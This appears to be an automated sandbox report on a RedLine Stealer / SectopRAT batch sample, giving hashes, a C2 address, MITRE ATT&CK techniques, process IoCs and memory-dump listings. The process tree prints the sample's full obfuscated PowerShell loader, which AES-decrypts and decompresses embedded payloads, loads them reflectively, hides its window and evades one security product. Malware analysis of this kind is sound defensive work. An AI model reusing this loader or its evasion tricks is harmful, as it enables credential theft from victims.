redline | 894387e2f1d21fc6df245127cdf1b8be80a4c6621f65aea92c4d814e3e8495f2

General

Target

3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd
Size

75KB
MD5

832dd29f7ffd54f656233e56c588b4fd
SHA1

fd306aaaa8b2065f80773cf440e245f3120eef09
SHA256

3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d
SHA512

b5098bc78bb21a8a003b2b5a1c4950ff3a791e9a8543be51c7885b95999a1acef6bdffda9bb92ca2734f8b0f54a1572d9fb3dbdba322abae2d1057273529be10
SSDEEP

1536:udOgvVCMvAg6DhWpHjd62+6LiIB8KUDPGJ/oJzy:wVLAjDhWpjTfuPWIW

Score

10^/10

redline sectoprat tony discovery execution infostealer rat trojan

Malware Config

Extracted

Family

redline

Botnet

tony

C2

51.195.145.77:57942

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/1788-40-0x0000000007AE0000-0x0000000007AFE000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/1788-40-0x0000000007AE0000-0x0000000007AFE000-memory.dmp	family_sectoprat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
23	1788	powershell.exe
41	1788	powershell.exe
46	1788	powershell.exe
52	1788	powershell.exe
70	1788	powershell.exe
71	1788	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3328	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1788	powershell.exe
1788	powershell.exe
3328	powershell.exe
3328	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 1156	2024	cmd.exe	85
PID 2024 wrote to memory of 1156	2024	cmd.exe	85
PID 2024 wrote to memory of 1788	2024	cmd.exe	86
PID 2024 wrote to memory of 1788	2024	cmd.exe	86
PID 2024 wrote to memory of 1788	2024	cmd.exe	86
PID 1788 wrote to memory of 3328	1788	powershell.exe	92
PID 1788 wrote to memory of 3328	1788	powershell.exe	92
PID 1788 wrote to memory of 3328	1788	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "
  2⤵
  PID:1156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ien0fqv.eo1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1788-22-0x0000000007F90000-0x000000000860A000-memory.dmp

Filesize
6.5MB

Download
memory/1788-44-0x0000000007E40000-0x0000000007F4A000-memory.dmp

Filesize
1.0MB

Download
memory/1788-3-0x0000000074F40000-0x00000000756F0000-memory.dmp

Filesize
7.7MB

Download
memory/1788-4-0x0000000074F40000-0x00000000756F0000-memory.dmp

Filesize
7.7MB

Download
memory/1788-1-0x0000000005140000-0x0000000005176000-memory.dmp

Filesize
216KB

Download
memory/1788-10-0x0000000005F10000-0x0000000005F32000-memory.dmp

Filesize
136KB

Download
memory/1788-16-0x0000000006210000-0x0000000006276000-memory.dmp

Filesize
408KB

Download
memory/1788-15-0x0000000006130000-0x0000000006196000-memory.dmp

Filesize
408KB

Download
memory/1788-17-0x0000000006280000-0x00000000065D4000-memory.dmp

Filesize
3.3MB

Download
memory/1788-18-0x00000000061D0000-0x00000000061EE000-memory.dmp

Filesize
120KB

Download
memory/1788-19-0x0000000006640000-0x000000000668C000-memory.dmp

Filesize
304KB

Download
memory/1788-23-0x0000000007930000-0x000000000794A000-memory.dmp

Filesize
104KB

Download
memory/1788-2-0x00000000057B0000-0x0000000005DD8000-memory.dmp

Filesize
6.2MB

Download
memory/1788-21-0x0000000007890000-0x0000000007906000-memory.dmp

Filesize
472KB

Download
memory/1788-20-0x0000000006B50000-0x0000000006B94000-memory.dmp

Filesize
272KB

Download
memory/1788-46-0x0000000074F40000-0x00000000756F0000-memory.dmp

Filesize
7.7MB

Download
memory/1788-45-0x0000000074F4E000-0x0000000074F4F000-memory.dmp

Filesize
4KB

Download
memory/1788-0-0x0000000074F4E000-0x0000000074F4F000-memory.dmp

Filesize
4KB

Download
memory/1788-38-0x0000000074F40000-0x00000000756F0000-memory.dmp

Filesize
7.7MB

Download
memory/1788-39-0x0000000007A10000-0x0000000007A22000-memory.dmp

Filesize
72KB

Download
memory/1788-40-0x0000000007AE0000-0x0000000007AFE000-memory.dmp

Filesize
120KB

Download
memory/1788-41-0x0000000008C30000-0x0000000009248000-memory.dmp

Filesize
6.1MB

Download
memory/1788-42-0x0000000007BA0000-0x0000000007BB2000-memory.dmp

Filesize
72KB

Download
memory/1788-43-0x0000000007C00000-0x0000000007C3C000-memory.dmp

Filesize
240KB

Download
memory/3328-37-0x0000000074F40000-0x00000000756F0000-memory.dmp

Filesize
7.7MB

Download
memory/3328-25-0x0000000074F40000-0x00000000756F0000-memory.dmp

Filesize
7.7MB

Download
memory/3328-24-0x0000000074F40000-0x00000000756F0000-memory.dmp

Filesize
7.7MB

Download

Analysis

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